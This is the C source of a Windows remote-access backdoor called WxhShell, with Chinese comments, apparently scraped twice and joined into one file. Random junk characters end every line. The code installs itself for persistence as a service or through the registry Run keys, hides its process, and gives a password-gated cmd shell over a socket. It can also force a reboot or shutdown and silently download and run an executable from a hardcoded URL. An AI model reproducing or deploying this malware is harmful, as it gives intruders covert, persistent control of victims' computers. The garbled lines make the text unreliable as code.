    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ga0W;Vq&X  
    if(Boot(SHUTDOWN)) ,}F{V>dhn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C {gYrz)  
    else { *b~$|H-\  
    closesocket(wsh); Ez+.tbEA,  
    ExitThread(0); >4b-NS/}0  
    } 2Q0fgH2  
    break; ~O&3OL:L  
    } HS>Z6|uLY  
  // 获取shell PG+ICg  
  case 's': { JM@MNS_||(  
    CmdShell(wsh); Nq Ve{+1x  
    closesocket(wsh); 9^x'x@6  
    ExitThread(0); /5EM;Mx  
    break; ESL(Mf'  
  } mO(m%3  
  // 退出 >a5CW~Z]  
  case 'x': { c"H*9u:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H<Ed"-n$I<  
    CloseIt(wsh); grp1nWAs  
    break; {?$-p%CF`8  
    } uR"(0_  
  // 离开 ,=.&  
  case 'q': { 3mIVNT@S9  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _r^Cu.[7  
    closesocket(wsh); oEGe y8?  
    WSACleanup(); [yJcM [p\  
    exit(1); Z4b<$t[u  
    break; 4U( W~O  
        } ^/h,C^/;  
  } CuR.a  
  } QI0d:7!W1  
rd vq(\A  
  // 提示信息 Xb@lKX5Re  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >j%HVRW  
} 0Rz'#O32V  
  } oj/,vO:QT  
*F42GiBZR  
  return; _3i.o$GO  
} tF}Vs}  
B b_R~1 l  
// shell模块句柄 *G"L]Nq#  
int CmdShell(SOCKET sock) 3C=ON.1eg  
{ wi-O}*O   
STARTUPINFO si; .'.#bH9K  
ZeroMemory(&si,sizeof(si)); j-e/nZR@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Oc8]A=M12  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WqlX'tA  
PROCESS_INFORMATION ProcessInfo; EZlcpCS  
char cmdline[]="cmd"; 35|F?Jx.r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 65X$k]x  
  return 0; !Bcd\]q  
} M@ t,P?  
"ph&hd}S  
// 自身启动模式 \D}K{P  
int StartFromService(void) 0n` 1GU)W  
{ lv\C(^mGq  
typedef struct <!gq9  
{ #z$FxZT<b  
  DWORD ExitStatus; _?$P?  
  DWORD PebBaseAddress; X2^`Znq9  
  DWORD AffinityMask; >U?HXu/TJr  
  DWORD BasePriority; cK6M8:KW  
  ULONG UniqueProcessId; 6P@3UQ)}s  
  ULONG InheritedFromUniqueProcessId; ME4Ir  
}   PROCESS_BASIC_INFORMATION; jLRUWg  
j[2?}?  
PROCNTQSIP NtQueryInformationProcess; aMI\gCB/  
X-[_g!pV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,QU2xw D[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s"G;rcS}#  
4|i.b?"  
  HANDLE             hProcess; 2@ 4^ 81  
  PROCESS_BASIC_INFORMATION pbi; ?fF{M%i-%  
agdiJ-lyQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QJ1_LJ4)a  
  if(NULL == hInst ) return 0; (9R;a np  
3%c{eZxG=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QI\&D)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GMD>Ih.k:9  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )<W6cDx'H+  
@#sBom+K`  
  if (!NtQueryInformationProcess) return 0; Sg$14B  
5G-)>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); h ]'VAt  
  if(!hProcess) return 0; w783e  
/y2upu*!  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _ElA\L4g%  
Nc4e,>$]&  
  CloseHandle(hProcess); #)im9LLC#  
GUUVE@Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Id->F0x0  
if(hProcess==NULL) return 0; +;nADl+Q  
-t28"jyj  
HMODULE hMod; q r12"H  
char procName[255]; W/Rb7q4v  
unsigned long cbNeeded; ba_T:;';0  
DFvLCGkDk  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3W*O%9t7  
JvFU7`4@  
  CloseHandle(hProcess); O{" A3f  
/W !A^  
if(strstr(procName,"services")) return 1; // 以服务启动 tmAc=?|Wa  
vF45tw  
  return 0; // 注册表启动 "DV.%7*^  
} e<|'   
23a&m04Rk  
// 主模块 | ?Js)i  
int StartWxhshell(LPSTR lpCmdLine) m<ZwbD  
{ _J}vPm  
  SOCKET wsl; EFl[u+ 1tx  
BOOL val=TRUE; 8YI.f  
  int port=0; qwka77nNT  
  struct sockaddr_in door; a ^+b(&;k  
aO@zeKg  
  if(wscfg.ws_autoins) Install(); @Bfwb?&  
w}Q|*!?_  
port=atoi(lpCmdLine); .^s%Nh2jM  
4i'2~w{/  
if(port<=0) port=wscfg.ws_port; 7. y L>  
Q}!U4!{i|p  
  WSADATA data; Z+"%MkX0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J[<3Je=>$  
>M7e'}0 ;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Mnpb".VU#T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >iP>v`J  
  door.sin_family = AF_INET; 7`3he8@ze  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); S\<]|tM:x  
  door.sin_port = htons(port); O2{_:B>K[  
8xUmg&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { fTM^:vkO  
closesocket(wsl); &libC>a[  
return 1; ff"Cl p  
} 6.tppAO+  
5v8&C2Jy@  
  if(listen(wsl,2) == INVALID_SOCKET) { ]4@z.1Mr  
closesocket(wsl); 2vKnxK+ 5  
return 1; qv3L@"Ub  
} FK!9to>  
  Wxhshell(wsl); |::kC3=  
  WSACleanup(); DC`6g#*<  
=Fea vyx  
return 0; \~nUk7.  
9&}qie,  
} ox {Cm  
*n?6x!A  
// 以NT服务方式启动 NVFAmX.Z:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?"AcK" v  
{ Jg k@ti.}Z  
DWORD   status = 0; w`1qx;/!  
  DWORD   specificError = 0xfffffff; M 0->  
+XWXHt  
  serviceStatus.dwServiceType     = SERVICE_WIN32; UR-e'Z&]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >T~{_|N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5n.4>yOY  
  serviceStatus.dwWin32ExitCode     = 0; n<yV]i$  
  serviceStatus.dwServiceSpecificExitCode = 0; pM[UC{  
  serviceStatus.dwCheckPoint       = 0; aI|)m8 >)X  
  serviceStatus.dwWaitHint       = 0; R|!4Y`  
Iu0K#.s_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aqs']  
  if (hServiceStatusHandle==0) return; 6?}8z q[  
z!Jce}mx  
status = GetLastError(); iO#H_&L.p  
  if (status!=NO_ERROR) TQ@*eoJj  
{ X?rJO~5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 1Sz5&jz  
    serviceStatus.dwCheckPoint       = 0; 0; V{yh  
    serviceStatus.dwWaitHint       = 0; RW>Z~Nj  
    serviceStatus.dwWin32ExitCode     = status; WF-imI:EK  
    serviceStatus.dwServiceSpecificExitCode = specificError; jy@}$g{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /q='~t  
    return; .(9IAAwKn  
  } "@` mPe/  
tvRa.3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; IRo[|&c  
  serviceStatus.dwCheckPoint       = 0; ['-ln)96.  
  serviceStatus.dwWaitHint       = 0; +$},Hu69j  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aKCCFHq t!  
} "P<~bw5   
m U7Ad"  
// 处理NT服务事件,比如:启动、停止 aeUm,'Y$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ci3{k"  
{ NqqLRgMOR'  
switch(fdwControl) wZrdr4j  
{ %t+V8A  
case SERVICE_CONTROL_STOP: (:T~*7/"  
  serviceStatus.dwWin32ExitCode = 0; o ]Vx6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >y]YF3?  
  serviceStatus.dwCheckPoint   = 0; k7y!! AV  
  serviceStatus.dwWaitHint     = 0; B u4N~0  
  { sMO3eNLn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -JwH^*Ad  
  } 4TR:bQZs  
  return; &5d>jEaB}  
case SERVICE_CONTROL_PAUSE: $$qhX]^ ~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +oQ@E<)H  
  break; Ii|<:BW  
case SERVICE_CONTROL_CONTINUE: HM[BFF[;/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8KoPaq   
  break; QG9 2^  
case SERVICE_CONTROL_INTERROGATE: eW >k'ez  
  break; V<nzThM\  
}; k7W8$8 v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N pRC3^  
} GB[W'QGiq  
T 86}^=-5  
// 标准应用程序主函数 o~GhV4vq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V l9\&EL  
{ b$gDFNa  
hZzsZQ`  
// 获取操作系统版本 :EA,0 ,  
OsIsNt=GetOsVer(); oN _% oc  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Jge;/f!i  
N+}yw4lb  
  // 从命令行安装 *2@ q=R-1  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3{$c b"5  
ied<1[~S  
  // 下载执行文件 .)W8 U [  
if(wscfg.ws_downexe) { VNytK_F0P  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sHEISNj/^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,[ Ytl  
} /D~ ,X48+  
@8_K^3-~e  
if(!OsIsNt) { "ht2X w  
// 如果时win9x,隐藏进程并且设置为注册表启动 z-,U(0 .  
HideProc(); Y+G4:  
StartWxhshell(lpCmdLine); IPT}JX'  
} a>Q7Qn  
else m*I5 \  
  if(StartFromService()) WnIh( 0  
  // 以服务方式启动 O~xc> w  
  StartServiceCtrlDispatcher(DispatchTable); =CqLZ$10  
else f 8uVk|a  
  // 普通方式启动 EIf~>AI  
  StartWxhshell(lpCmdLine); XVI+Y  
m*a0V  
return 0; 6w@l#p  
} *np%67=jO  
"dkvk7zCP  
-EL"Sv?  
Z~P5SEg  
=========================================== 02=eE|Y@  
D%BV83S   
sa*hoL18  
A).wjd(_,  
ZB%7Sr0  
HF0J>Clq  
" rgOB0[  
xEZvCwsb  
#include <stdio.h> :K W   
#include <string.h> EW YpYMkm  
#include <windows.h> t/y0gr tm6  
#include <winsock2.h> 58=fT1 B  
#include <winsvc.h> %3~jg  
#include <urlmon.h> 1o.]"~0:  
T@f$w/15  
#pragma comment (lib, "Ws2_32.lib") XV!P8n  
#pragma comment (lib, "urlmon.lib") .+ _x|?'  
EpPKo  
#define MAX_USER   100 // 最大客户端连接数 7<X_\,I  
#define BUF_SOCK   200 // sock buffer )kg^.tP  
#define KEY_BUFF   255 // 输入 buffer HPu nNsA  
SVeL c  
#define REBOOT     0   // 重启 MF>?! !  
#define SHUTDOWN   1   // 关机 M<Eg<*  
mGoUF$9 k  
#define DEF_PORT   5000 // 监听端口 M`S >Q2{  
:5p`H  
#define REG_LEN     16   // 注册表键长度 P PmE.%_  
#define SVC_LEN     80   // NT服务名长度 m[%&K W(  
7eZ,; x  
// 从dll定义API * y u|]T  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d)9=hp;,V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ALPZc:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -R| v&h%T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ql^n=+U  
7)<&,BWc  
// wxhshell配置信息 td{$ c6  
struct WSCFG { j#.Aiy:,  
  int ws_port;         // 监听端口 +.gZILw  
  char ws_passstr[REG_LEN]; // 口令 FzW7MW>\x  
  int ws_autoins;       // 安装标记, 1=yes 0=no U%m,:b6V  
  char ws_regname[REG_LEN]; // 注册表键名 O*T(aM3r  
  char ws_svcname[REG_LEN]; // 服务名 <08)G7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 T[q2quXgk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,n^{!^JW  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qy/xJ>:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t 8|i>(O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FL9 Dz4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9K~X}]u  
;",W&HQbE  
}; 9x23## s  
i=nd][1n  
// default Wxhshell configuration SwXVa/9a"  
struct WSCFG wscfg={DEF_PORT, 'de&9\  
    "xuhuanlingzhe", /&_$+Iun  
    1, yxik`vmH  
    "Wxhshell", f;x0Ho5C2  
    "Wxhshell", fX2sjfk  
            "WxhShell Service", Xq@Bzya  
    "Wrsky Windows CmdShell Service", T]HeS(  
    "Please Input Your Password: ", d)1 d0ES  
  1, #p*D.We  
  "http://www.wrsky.com/wxhshell.exe", lK 5@qG#  
  "Wxhshell.exe" e];lDa#4-Y  
    }; &N:Iirg  
Py y!B  
// 消息定义模块 nm Y_)s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^CO{86V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; < KG q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <hvs{}TS  
char *msg_ws_ext="\n\rExit."; ~t^ Umx"Ew  
char *msg_ws_end="\n\rQuit."; iO+,U}&  
char *msg_ws_boot="\n\rReboot..."; #9zpJ\E  
char *msg_ws_poff="\n\rShutdown..."; + fS<YT  
char *msg_ws_down="\n\rSave to "; oq${}n<  
`%;Hj _X}  
char *msg_ws_err="\n\rErr!"; @QteC@k  
char *msg_ws_ok="\n\rOK!"; V^Y'!w\LGI  
o=J-Ju  
char ExeFile[MAX_PATH]; Kv0V`}<Yc  
int nUser = 0; ,_iq$I;  
HANDLE handles[MAX_USER]; :aQ.:b(n  
int OsIsNt; ,2YZB*6h{  
VKV :U60  
SERVICE_STATUS       serviceStatus; l^F ?^kP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o1`\*]A7J  
v%:VV*MxF  
// 函数声明 wg%g(FO  
int Install(void); c+ D <  
int Uninstall(void); Z<^;Ybw{`Z  
int DownloadFile(char *sURL, SOCKET wsh); <qg4Rz\c]  
int Boot(int flag); WP2=1"X63  
void HideProc(void); @A4$k dJ2  
int GetOsVer(void); H-vHcqFx3  
int Wxhshell(SOCKET wsl); %UAF~2]g  
void TalkWithClient(void *cs); '2GnAws^  
int CmdShell(SOCKET sock); +F-EgF+J  
int StartFromService(void); 4-~Z{#-  
int StartWxhshell(LPSTR lpCmdLine); {{jV!8wK  
Kci. ,I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]{oZn5F  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); DQT'OZ :w  
oNZ_7tU  
// 数据结构和表定义 P q$0ih  
SERVICE_TABLE_ENTRY DispatchTable[] = 7:,f|>  
{ NMe{1RM  
{wscfg.ws_svcname, NTServiceMain}, ]?pQu'-(  
{NULL, NULL} ak7kb75o  
}; D"rbQXR7$  
s3HVX'   
// 自我安装 Q_U.J0  
int Install(void) B*N1)J\5  
{ O&1qL)  
  char svExeFile[MAX_PATH]; In?=$_p  
  HKEY key; #8|LPfA  
  strcpy(svExeFile,ExeFile); gs5(~YiT6  
HcgvlFb  
// 如果是win9x系统,修改注册表设为自启动 XEgJ7h_  
if(!OsIsNt) { !bP%\)5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K#YQB3rX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $#q`Y+;L2  
  RegCloseKey(key); L.Qz29\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =eDIvNps  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OvtE)u l@  
  RegCloseKey(key); L-T,[;bl  
  return 0; |M7cB$y  
    } H5T_i$W  
  } Y3Fj3NwS  
} O\6U2b~  
else { unLhI0XW  
r-<O'^C  
// 如果是NT以上系统,安装为系统服务 $VuXr=f}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WwDM^}e  
if (schSCManager!=0) Ax;=Zh<DAv  
{ $"r9U|6kk  
  SC_HANDLE schService = CreateService T#) )_aC  
  ( CIjc5^Y2  
  schSCManager, .UG`pRC  
  wscfg.ws_svcname, iRzFA!wH  
  wscfg.ws_svcdisp, -L1785pB85  
  SERVICE_ALL_ACCESS, y0%1YY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z!)~?<gcq:  
  SERVICE_AUTO_START, ''y.4dvX  
  SERVICE_ERROR_NORMAL, J@s>Pe)  
  svExeFile, # ]7Lieh[5  
  NULL, uM-,}7f7  
  NULL, j3gDGw;  
  NULL, SIe!=F[  
  NULL, S6TNu+2w4  
  NULL +$h  
  ); TSlB.pw%v  
  if (schService!=0) ={qcDgn~C  
  { |A8@r&   
  CloseServiceHandle(schService); ghk=` !yKw  
  CloseServiceHandle(schSCManager); O G`8::S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p+VU:%.t  
  strcat(svExeFile,wscfg.ws_svcname); S<tw5!tJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 0l!#u`cCI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); g !'R}y  
  RegCloseKey(key); -(qRC0V  
  return 0; VdLoi\-/L  
    } }LzBo\  
  } f"Zl JVa  
  CloseServiceHandle(schSCManager); RkF#NCnL;  
} *'%V}R[>  
} r|Ui1f5  
h051Ol\v*  
return 1; t" .Ytz>  
} {]0e=#hw  
~b f\fPm  
// 自我卸载  : T*Q2  
int Uninstall(void) s]arNaaA  
{ 8-q^.<9  
  HKEY key; _yg_?GH  
fab'\|Y   
if(!OsIsNt) { @~3--  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { iUx\3d,  
  RegDeleteValue(key,wscfg.ws_regname); !?2)a pM  
  RegCloseKey(key); T$4{fhV \  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wPA^nZ^}9c  
  RegDeleteValue(key,wscfg.ws_regname); JK k0f9)  
  RegCloseKey(key); g@.$P>Bh  
  return 0; .E4* >@M5  
  } ] lB zpD  
} |Splbs k  
} +v Bi7#&  
else { dmFn0J-\  
i "8mrWb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ys[Li.s:  
if (schSCManager!=0) sX>u.  
{  g'0CYY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !jCgTo y  
  if (schService!=0) m,l/=M  
  { 3EoCEPb#  
  if(DeleteService(schService)!=0) { *@U{[J  
  CloseServiceHandle(schService); &!!*xv-z  
  CloseServiceHandle(schSCManager); .Y)[c. ,j  
  return 0; 04a ^jjc  
  } I>c,Bo7  
  CloseServiceHandle(schService); Up9{aX  
  } ?J}Q&p.  
  CloseServiceHandle(schSCManager); \}jMC  
} ,:_c-d#  
} n 8cA8<  
&C 9hT  
return 1; =ily=j"hK  
} %!aU{E|@_  
2 $>DX\h  
// 从指定url下载文件 Fq9YhR  
int DownloadFile(char *sURL, SOCKET wsh) ]9@:7d6  
{ $ Y/9SD  
  HRESULT hr; c9(3z0!F ?  
char seps[]= "/"; &2'-v@kK  
char *token; ! 'zd(kv<  
char *file; )rc!irac]  
char myURL[MAX_PATH]; Z6!Up1  
char myFILE[MAX_PATH]; ;>6< u.N  
UaT%tv>}8#  
strcpy(myURL,sURL); T j$'B[cv  
  token=strtok(myURL,seps); ) SV.|  
  while(token!=NULL) "c^!LV  
  { eP{srP3 9  
    file=token; 1.hWgWDP  
  token=strtok(NULL,seps); l|5 h  
  } 1S{Biqi+  
[KDxB>R<{  
GetCurrentDirectory(MAX_PATH,myFILE); W4^L_p>Tm^  
strcat(myFILE, "\\"); w)btv{*  
strcat(myFILE, file); [%W'd9`>  
  send(wsh,myFILE,strlen(myFILE),0); sdp&D@  
send(wsh,"...",3,0); w5FIHYl6B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0K!3Ny9(  
  if(hr==S_OK) FU`(mQ*Yd  
return 0; QM$UxWo-  
else |IxHtg3>6{  
return 1; dFg>uo  
*TOdIq&z  
} n#_B4UqW%  
`Rq=:6U;3  
// 系统电源模块 >e]g T  
int Boot(int flag) qF)J#$4;6  
{ ) u?f| D  
  HANDLE hToken; WtSs:D  
  TOKEN_PRIVILEGES tkp; )f8>kz(  
\;;M")$  
  if(OsIsNt) { +qi& ?}  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *v<f#hB"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5Cf!NNV  
    tkp.PrivilegeCount = 1; ];bRRBEU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %VHy?!/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xC76jE4  
if(flag==REBOOT) { _[:6.oNjIe  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) jkeerU6  
  return 0; ,05PYBc3  
} 8}%F`=Y0  
else { `Fqth^RK?p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) "M%R{pGA7  
  return 0; p.8bX  
}  3@Ndn  
  } UB~K/r`.|  
  else { <^S\&v1C_  
if(flag==REBOOT) { 4KPn V+h"b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KQ~y;{h?b  
  return 0; l5z//E}W  
} .G/Rh92  
else { EKc<|e,F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rzY)vC+ZT  
  return 0; 1 UQ,V`y  
} 0nc(2Bi  
} ` w;Wud'*<  
cXXZ'y>FP  
return 1; !Uiq3s`1T  
} B>{%$@4  
=OufafZb  
// win9x进程隐藏模块 @ZEBtM%.O  
void HideProc(void) {lK2yi  
{ @&T' h}|:  
Xj, %t}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zC50 @S3|  
  if ( hKernel != NULL ) V#G)w~   
  { s|IBX0^@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); pPL=(9d  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aEf3hB*~  
    FreeLibrary(hKernel); l|q-kRRjn  
  } "{<X! ^u>  
{S0-y  
return; w4fKh  
} f )Lcs  
|s3;`Nxu7  
// 获取操作系统版本 wx-\@{E  
int GetOsVer(void) f@}> :x  
{ d&3"?2 IQ  
  OSVERSIONINFO winfo; j_C"O,WS  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); e&sH<hWR  
  GetVersionEx(&winfo); 1zRYd`IPoq  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !B`z|#  
  return 1; I<}% L V  
  else T]wC?gQG  
  return 0; #91^1jyMf  
} y)zZ:lyIq  
>5O~SF.  
// 客户端句柄模块 b}TvQ+W]2  
int Wxhshell(SOCKET wsl) _DxHJl  
{ 3cHYe  
  SOCKET wsh; `E|i8M3g  
  struct sockaddr_in client; 'p5M|h\:T  
  DWORD myID; aEdA'>  
F'MX9P  
  while(nUser<MAX_USER) ]x)!Kd2>  
{ h: yJ  
  int nSize=sizeof(client); qu^g~"s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G^B> C  
  if(wsh==INVALID_SOCKET) return 1; _Q:z -si  
HGAi2+&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); af<h2 r  
if(handles[nUser]==0) KBM*7raA  
  closesocket(wsh); Muwlehuq  
else D>k(#vYKB  
  nUser++; Z*M{  
  } G,>YzjMY`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jyD~ER}J  
Xz@#,F:@  
  return 0; 7;+G)44  
} ^g4Gw6q 6  
N!ihj:,  
// 关闭 socket %Bw:6Y4LZ  
void CloseIt(SOCKET wsh) L\UPM+tE  
{ e1g3a1tnWl  
closesocket(wsh); 7j)ky2r#  
nUser--; #czTX%+9(e  
ExitThread(0); !p$p 7   
} c5%}* "z  
T9R# .y,  
// 客户端请求句柄 0g30nr)  
void TalkWithClient(void *cs) TC-Vzk G|  
{ /-v ;  
|\dv$`_T  
  SOCKET wsh=(SOCKET)cs; vyDxX  
  char pwd[SVC_LEN]; 9287&+,0r  
  char cmd[KEY_BUFF]; HnArj_E  
char chr[1]; T^Ia^B-%}g  
int i,j; $F^VtCx2&  
WP*}X7IS  
  while (nUser < MAX_USER) { XfE0P(sE  
="78#Wfj2  
if(wscfg.ws_passstr) { ?PWg  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]=t}8H  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .mfLHN%:  
  //ZeroMemory(pwd,KEY_BUFF); sJx_X8  
      i=0; hYpxkco"4'  
  while(i<SVC_LEN) { R& t*x  
D2}^TIg  
  // 设置超时 mDz44XO   
  fd_set FdRead; . .5~ x~O  
  struct timeval TimeOut; WYb}SI(E  
  FD_ZERO(&FdRead); mH\zSk  
  FD_SET(wsh,&FdRead); MJ ch Z  
  TimeOut.tv_sec=8; )1!<<;@0  
  TimeOut.tv_usec=0; rwJ U;wy  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3v\P6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); tkZUjQIX  
%IBT85{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EA(4xj&:U  
  pwd=chr[0]; joskKik^  
  if(chr[0]==0xd || chr[0]==0xa) { =V|jd'iwx  
  pwd=0; w\s`8S  
  break; /V09Na,N  
  } rmzzbLTu  
  i++; ld ]*J}cw  
    } Y f!Oo  
lND2Kb  
  // 如果是非法用户,关闭 socket SI~jM:S}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Xi%Og\vm5  
} > )< ?  
_?H3*!>3  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d^A]]Xg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]UUa/ep-  
'>t&fzD0  
while(1) { AC1RP`c  
rs?Dn6:;B  
  ZeroMemory(cmd,KEY_BUFF); uKAI->"  
R`@T<ob)  
      // 自动支持客户端 telnet标准   D%]S>g5k  
  j=0; ]uox ^HC  
  while(j<KEY_BUFF) { z(LR!hr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GIzB1cl:  
  cmd[j]=chr[0]; vQLYWRXiA  
  if(chr[0]==0xa || chr[0]==0xd) { YA$YT8iMe  
  cmd[j]=0; I;NW!"pU  
  break; ~g/"p`2-N  
  } P6.PjK!Ar  
  j++; I`{*QU  
    } 'Wnh1|z  
nRc\!4  
  // 下载文件 ]S4"JcM  
  if(strstr(cmd,"http://")) { 12U]=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F}So=Jz9h  
  if(DownloadFile(cmd,wsh)) I}bu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); BS fmS(.  
  else ]0*aE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?pZU'5le`  
  } yF(9=z"?  
  else { Zb=NcEPGy  
